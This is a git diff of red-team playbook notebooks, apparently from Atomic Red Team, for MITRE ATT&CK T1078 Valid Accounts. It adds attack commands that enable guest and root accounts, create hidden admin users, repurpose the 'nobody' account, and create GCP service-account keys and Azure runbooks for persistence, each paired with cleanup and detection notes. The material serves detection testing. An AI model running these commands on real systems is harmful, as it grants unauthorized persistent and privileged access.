"Invoke-AtomicTest T1078.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "e29b982d", + "id": "83d1623a", "metadata": {}, "source": [ "### Atomic Test #2 - Activate Guest Account", @@ -63,28 +63,63 @@ { "cell_type": "code", "execution_count": null, - "id": "bd5ab3d4", + "id": "7406d575", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "2dcb7d9f", + "id": "3b8faaab", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet user guest /active:no\n```" }, { "cell_type": "code", "execution_count": null, - "id": "06fea9da", + "id": "6b63a9ea", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "fd325c7c", + "id": "5c73e3d5", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Enable Guest Account on macOS", + "This test enables the guest account on macOS using sysadminctl utility.", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nsudo sysadminctl -guestAccount on```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "328bd26b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.001 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "eae5e3f2", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nsudo sysadminctl -guestAccount off```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "05d9b113", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.001 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "2b74c386", "metadata": {}, "source": "## Detection\nMonitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately." } @@ -92,13 +127,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1078.002.ipynb b/playbook/tactics/initial-access/T1078.002.ipynb index ffe4a893..d76c56e6 100644 --- a/playbook/tactics/initial-access/T1078.002.ipynb +++ b/playbook/tactics/initial-access/T1078.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "2809d817", + "id": "2aed7cc2", "metadata": {}, "source": "# T1078.002 - Domain Accounts\nAdversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain." }, { "cell_type": "markdown", - "id": "d74d49ad", + "id": "e0915e75", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "260eb0d2", + "id": "a748aa94", "metadata": {}, "source": "## Detection\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1078.003.ipynb b/playbook/tactics/initial-access/T1078.003.ipynb index 7529da13..da87b2f4 100644 --- a/playbook/tactics/initial-access/T1078.003.ipynb +++ b/playbook/tactics/initial-access/T1078.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "3ab76ef2", + "id": "3ef5ee15", "metadata": {}, "source": "# T1078.003 - Local Accounts\nAdversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. " }, { "cell_type": "markdown", - "id": "41b9be66", + "id": "fe95a608", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2e0df893", + "id": "559fbcde", "metadata": {}, "source": [ "### Atomic Test #1 - Create local account with admin privileges", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "022b98c8", + "id": "6a3266ee", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "56f37c39", + "id": "70622130", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet localgroup administrators art-test /delete >nul 2>&1\nnet user art-test /delete >nul 2>&1```" }, { "cell_type": "code", "execution_count": null, - "id": "b6e38d98", + "id": "1dd1f240", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "0834ff60", + "id": "cff22f03", "metadata": {}, "source": [ "### Atomic Test #2 - Create local account with admin privileges - MacOS", @@ -63,31 +63,136 @@ { "cell_type": "code", "execution_count": null, - "id": "ecf37b4a", + "id": "61ffe9de", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "6f53fba5", + "id": "b60b53f8", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo dscl . -delete /Users/AtomicUser```" }, { "cell_type": "code", "execution_count": null, - "id": "b84cefdc", + "id": "60213081", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.003 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "cbde1827", + "id": "718d54fd", "metadata": {}, "source": [ - "### Atomic Test #3 - WinPwn - Loot local Credentials - powerhell kittie", + "### Atomic Test #3 - Create local account with admin privileges using sysadminctl utility - MacOS", + "After execution the new account will be active and added to the Administrators group", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nsysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123! -admin```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e9a9d331", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "3d9fd095", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nsysadminctl interactive -deleteUser art-tester```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e27695ff", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "1b6c2dbf", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Enable root account using dsenableroot utility - MacOS", + "After execution the current/new user will have root access", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\ndsenableroot #current user\ndsenableroot -u art-tester -p art-tester -r art-root #new user```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2b119269", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "3d538fdc", + "metadata": {}, + "source": "#### Cleanup: \n```bash\ndsenableroot -d #current user\ndsenableroot -d -u art-tester -p art-tester #new user```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "bb97ce8f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "41c90069", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Add a new/existing user to the admin group using dseditgroup utility - macOS", + "After execution the current/new user will be added to the Admin group", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\ndseditgroup -o edit -a art-user -t user admin```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "551dcc50", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "4f0cf8bf", + "metadata": {}, + "source": "#### Cleanup: \n```bash\ndseditgroup -o edit -d art-user -t user admin```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4c88bee0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "97cf9b8d", + "metadata": {}, + "source": [ + "### Atomic Test #6 - WinPwn - Loot local Credentials - powerhell kittie", "Loot local Credentials - powerhell kittie technique via function of WinPwn", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -98,17 +203,17 @@ { "cell_type": "code", "execution_count": null, - "id": "f9efe711", + "id": "29b50caf", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1078.003 -TestNumbers 3" + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "e1158227", + "id": "27cec7fd", "metadata": {}, "source": [ - "### Atomic Test #4 - WinPwn - Loot local Credentials - Safetykatz", + "### Atomic Test #7 - WinPwn - Loot local Credentials - Safetykatz", "Loot local Credentials - Safetykatz technique via function of WinPwn", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -119,14 +224,189 @@ { "cell_type": "code", "execution_count": null, - "id": "9535601d", + "id": "3f755676", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1078.003 -TestNumbers 4" + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "85f2e0a5", + "metadata": {}, + "source": [ + "### Atomic Test #8 - Create local account (Linux)", + "An adversary may wish to create an account with admin privileges to work with. In this test we create a \"art\" user with the password art, switch to art, execute whoami, exit and delete the art user.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\npassword=$(openssl passwd -1 art)\n([ \"$(uname)\" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $password art) || (pw useradd art -g wheel -s /bin/sh && (echo $password | pw mod user testuser1 -h 0))\nsu art -c \"whoami; exit\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e58a4110", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 8" + }, + { + "cell_type": "markdown", + "id": "b95fbd97", + "metadata": {}, + "source": "#### Cleanup: \n```bash\n[ \"$(uname)\" = 'Linux' ] && userdel art -rf || rmuser -y art\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8ea2f240", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 8 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "3398ae2f", + "metadata": {}, + "source": [ + "### Atomic Test #9 - Reactivate a locked/expired account (Linux)", + "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nuseradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art\nusermod --lock art\nusermod --expiredate \"1\" art\nusermod --unlock art\nusermod --expiredate \"99999\" art\nsu art\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "67281644", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "3746ab27", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nuserdel -r art \n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "98c6beb6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 9 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "0f2359cc", + "metadata": {}, + "source": [ + "### Atomic Test #10 - Reactivate a locked/expired account (FreeBSD)", + "A system administrator may have locked and expired a user account rather than deleting it. \"the user is coming back, at some stage\" An adversary may reactivate a inactive account in an attempt to appear legitimate. \n\nIn this test we create a \"art\" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\npw useradd art -g wheel -s /bin/sh\necho $(openssl passwd -1 art) | pw mod user testuser1 -h 0\npw lock art\npw usermod art -e +1d\npw unlock art\npw user mod art -e +99d\nsu art\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ace1fbf6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "6c7b9b00", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrmuser -y art \n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "41ab4dc6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "bab62cf7", + "metadata": {}, + "source": [ + "### Atomic Test #11 - Login as nobody (Linux)", + "An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nchsh --shell /bin/bash nobody\nusermod --password $(openssl passwd -1 nobody) nobody\nsu nobody\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2d046b95", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 11" + }, + { + "cell_type": "markdown", + "id": "d0d3ff01", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nchsh --shell /usr/sbin/nologin nobody\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9fcf220f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 11 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "f49347f7", + "metadata": {}, + "source": [ + "### Atomic Test #12 - Login as nobody (freebsd)", + "An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\ncat /etc/passwd |grep nobody \n# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin\npw usermod nobody -s /bin/sh\necho $(openssl passwd -1 art) | pw mod user nobody -h 0\nsu nobody\nwhoami\nexit\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7bad57b2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 12" + }, + { + "cell_type": "markdown", + "id": "0b37b426", + "metadata": {}, + "source": "#### Cleanup: \n```sh\npw usermod nobody -s /usr/sbin/nologin\ncat /etc/passwd |grep nobody\n# -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "46dad3c6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.003 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "aac0eb1e", + "id": "d8453de6", "metadata": {}, "source": "## Detection\nPerform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours." } @@ -134,13 +414,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1078.004.ipynb b/playbook/tactics/initial-access/T1078.004.ipynb index 34bd3dad..8c74dba5 100644 --- a/playbook/tactics/initial-access/T1078.004.ipynb +++ b/playbook/tactics/initial-access/T1078.004.ipynb @@ -2,64 +2,154 @@ "cells": [ { "cell_type": "markdown", - "id": "5cfbc4ca", + "id": "2c65e2fa", "metadata": {}, - "source": "# T1078.004 - Cloud Accounts\nAdversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges." + "source": "# T1078.004 - Cloud Accounts\nValid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud or be hybrid joined between on-premises systems and the cloud through federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n" }, { "cell_type": "markdown", - "id": "a0edc966", + "id": "6608def3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "6f49bf3e", + "id": "c8faa71d", "metadata": {}, - "source": "### Atomic Test #1 - Creating GCP Service Account and Service Account Key\nGCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.\n\n**Supported Platforms:** google-workspace, iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```" + "source": "### Atomic Test #1 - Creating GCP Service Account and Service Account Key\nGCP Service Accounts can be used to gain intial access as well as maintain persistence inside Google Cloud.\n\n**Supported Platforms:** google-workspace, iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```\n##### Description: Check if user is logged in \n\n##### Check Prereq Commands:\n```sh\ngcloud config get-value account\n\n```\n##### Get Prereq Commands:\n```sh\ngcloud auth login --no-launch-browser\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fec9c3db", + "id": "307bc749", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e6a5af4a", + "id": "79702943", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\ngcloud auth login --no-launch-browser\ngcloud config set project art-project-1\ngcloud iam service-accounts create gcp-art-service-account-1\ngcloud iam service-accounts keys create gcp-art-service-account-1.json --iam-account=gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com\n```" + "```sh\ngcloud config set project art-project-1\ngcloud iam service-accounts create gcp-art-service-account-1\ngcloud iam service-accounts keys create gcp-art-service-account-1.json --iam-account=gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "8d310894", + "id": "53f17e15", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "94aa72c5", + "id": "7206536c", "metadata": {}, "source": "#### Cleanup: \n```sh\ngcloud iam service-accounts delete gcp-art-service-account-1@art-project-1.iam.gserviceaccount.com --quiet\n```" }, { "cell_type": "code", "execution_count": null, - "id": "70d73a15", + "id": "420b5ba4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1078.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "92d4feac", + "id": "d8d82669", + "metadata": {}, + "source": "### Atomic Test #2 - Azure Persistence Automation Runbook Created or Modified\nIdentifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure\nAutomation runbook to execute malicious code and maintain persistence in their target's environment.\n\n**Supported Platforms:** iaas:azure\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Check if terraform is installed.\n\n##### Check Prereq Commands:\n```powershell\nterraform version\n\n```\n##### Get Prereq Commands:\n```powershell\necho Please install terraform.\n\n```\n##### Description: Install-Module -Name Az\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name Az -Scope CurrentUser -Force\n\n```\n##### Description: Check if the user is logged into Azure.\n\n##### Check Prereq Commands:\n```powershell\naz account show\n\n```\n##### Get Prereq Commands:\n```powershell\necho Configure your Azure account using: az login. \n\n```\n##### Description: Create dependency resources using terraform\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Test-Path \"$PathToAtomicsFolder/T1078.004/src/T1078.004-2/terraform.tfstate\" ){ exit 0 } else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\ncd \"$PathToAtomicsFolder/T1078.004/src/T1078.004-2/\"\nterraform init\nterraform apply -auto-approve\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a33b366d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "cd576122", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$secure_pwd = \"None\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"None\", $secure_pwd\nConnect-AzAccount -Credential $creds\nNew-AzAutomationRunbook -Name None -Type PowerShell -ResourceGroupName None -Description 'my-test-runbook' -AutomationAccountName None\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ed899b64", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "595c8a0d", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-AzAutomationRunbook -AutomationAccountName None -Name None -ResourceGroupName None -Force\ncd \"$PathToAtomicsFolder/T1078.004/src/T1078.004-2/\"\nterraform destroy -auto-approve\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "368cf806", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "274a8cb1", + "metadata": {}, + "source": "### Atomic Test #3 - GCP - Create Custom IAM Role\nThis atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*. The idea for this Atomic came from a Rule published by the Elastic team.\n\nIdentifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). \nCustom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. \nCustom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized.\n\nThis atomic will create a new IAM role. The default role permissions are: *IAM Service Account Get*\n\nReference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml\n\n**Supported Platforms:** iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```\n##### Description: Check if user is logged in \n\n##### Check Prereq Commands:\n```sh\ngcloud config get-value account\n\n```\n##### Get Prereq Commands:\n```sh\ngcloud auth login --no-launch-browser\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ceca2ff7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "808643c5", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\ngcloud config set project atomic-test-1\ngcloud iam roles create AtomicRedTeamRole --description=\"Atomic Red Team Custom IAM Role\" --permissions=iam.serviceAccounts.get --project=atomic-test-1\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "97e815ec", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "12f2b2ba", + "metadata": {}, + "source": "#### Cleanup: \n```sh\ngcloud iam roles delete AtomicRedTeamRole --project=atomic-test-1\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ba94f6b5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1078.004 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "baeb56f5", "metadata": {}, "source": "## Detection\nMonitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours." } @@ -67,13 +157,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/initial-access/T1078.ipynb b/playbook/tactics/initial-access/T1078.ipynb index e016030d..273c01bc 100644 --- a/playbook/tactics/initial-access/T1078.ipynb +++ b/playbook/tactics/initial-access/T1078.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "d6925b47", + "id": "40f3d769", "metadata": {}, "source": "# T1078 - Valid Accounts\nAdversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA 